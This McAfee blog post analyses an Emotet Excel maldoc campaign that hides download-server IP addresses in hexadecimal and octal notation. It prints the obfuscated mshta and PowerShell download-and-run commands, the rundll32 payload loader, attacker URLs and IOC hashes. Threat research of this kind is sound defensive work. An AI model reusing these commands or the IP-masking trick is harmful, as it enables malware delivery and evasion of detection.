Read Time:3 Minute, 26 Second
Authored By: Kiran Raj
In a recent campaign of Emotet, McAfee Researchers observed a change in techniques. The Emotet maldoc was using hexadecimal and octal formats to represent IP address which is usually represented by decimal formats. An example of this is shown below:
Hexadecimal format: 0xb907d607
Octal format: 0056.0151.0121.0114
Decimal format: 185.7.214.7
This change in format might evade some AV products relying on command line parameters but McAfee was still able to protect our customers. This blog explains this new technique.
Figure 1: Image of Infection map for EMOTET Maldoc as observed by McAfee
Threat Summary
The initial attack vector is a phishing email with a Microsoft Excel attachment.
Upon opening the Excel document and enabling editing, Excel executes a malicious JavaScript from a server via mshta.exe
The malicious JavaScript further invokes PowerShell to download the Emotet payload.
The downloaded Emotet payload will be executed by rundll32.exe and establishes a connection to adversaries’ command-and-control server.
Maldoc Analysis
Below is the image (figure 2) of the initial worksheet opened in excel. We can see some hidden worksheets and a social engineering message asking users to enable content. By enabling content, the user allows the malicious code to run.
On examining the excel spreadsheet further, we can see a few cell addresses added in the Named Manager window. Cells mentioned in the Auto_Open value will be executed automatically resulting in malicious code execution.
Figure 3- Named Manager and Auto_Open triggers
Below are the commands used in Hexadecimal and Octal variants of the Maldocs
FORMAT
OBFUSCATED CMD
DEOBFUSCATED CMD
Hexadecimal
cmd /c m^sh^t^a h^tt^p^:/^/[0x]b907d607/fer/fer.html
http://185[.]7[.]214[.]7/fer/fer.html
Octal
cmd /c m^sh^t^a h^tt^p^:/^/0056[.]0151[.]0121[.]0114/c.html
http://46[.]105[.]81[.]76/c.html
Execution
On executing the Excel spreadsheet, it invokes mshta to download and run the malicious JavaScript which is within an html file.
Figure 4: Process tree of excel execution
The downloaded file fer.html containing the malicious JavaScript is encoded with HTML Guardian to obfuscate the code
Figure 5- Image of HTML page viewed on a browser
The Malicious JavaScript invokes PowerShell to download the Emotet payload from “hxxp://185[.]7[.]214[.]7/fer/fer.png” to the following path “C:UsersPublicDocumentsssd.dll”.
cmd line
(New-Object Net.WebClient).DownloadString(‘http://185[.]7[.]214[.]7/fer/fer.png’)
The downloaded Emotet DLL is loaded by rundll32.exe and connects to its command-and-control server
cmd line
cmd /c C:WindowsSysWow64rundll32.exe C:UsersPublicDocumentsssd.dll,AnyString
IOC
TYPE
VALUE
SCANNER
DETECTION NAME
XLS
06be4ce3aeae146a062b983ce21dd42b08cba908a69958729e758bc41836735c
McAfee LiveSafe and Total Protection
X97M/Downloader.nn
DLL
a0538746ce241a518e3a056789ea60671f626613dd92f3caa5a95e92e65357b3
McAfee LiveSafe and Total Protection
Emotet-FSY
HTML URL
http://185[.]7[.]214[.]7/fer/fer.html
http://46[.]105[.]81[.]76/c.html
WebAdvisor
Blocked
DLL URL
http://185[.]7[.]214[.]7/fer/fer.png
http://46[.]105[.]81[.]76/cc.png
WebAdvisor
Blocked
MITRE ATT&CK
TECHNIQUE ID
TACTIC
TECHNIQUE DETAILS
DESCRIPTION
T1566
Initial access
Phishing attachment
Initial maldoc uses phishing strings to convince users to open the maldoc
T1204
Execution
User Execution
Manual execution by user
T1071
Command and Control
Standard Application Layer Protocol
Attempts to connect through HTTP
T1059
Command and Scripting Interpreter
Starts CMD.EXE for commands execution
Excel uses cmd and PowerShell to execute command
T1218
Signed Binary Proxy Execution
Uses RUNDLL32.EXE and MSHTA.EXE to load library
rundll32 is used to run the downloaded payload. Mshta is used to execute malicious JavaScript
Conclusion
Office documents have been used as an attack vector for many malware families in recent times. The Threat Actors behind these families are constantly changing their techniques in order to try and evade detection. McAfee Researchers are constantly monitoring the Threat Landscape to identify these changes in techniques to ensure our customers stay protected and can go about their daily lives without having to worry about these threats.
The post Emotet’s Uncommon Approach of Masking IP Addresses appeared first on McAfee Blog.
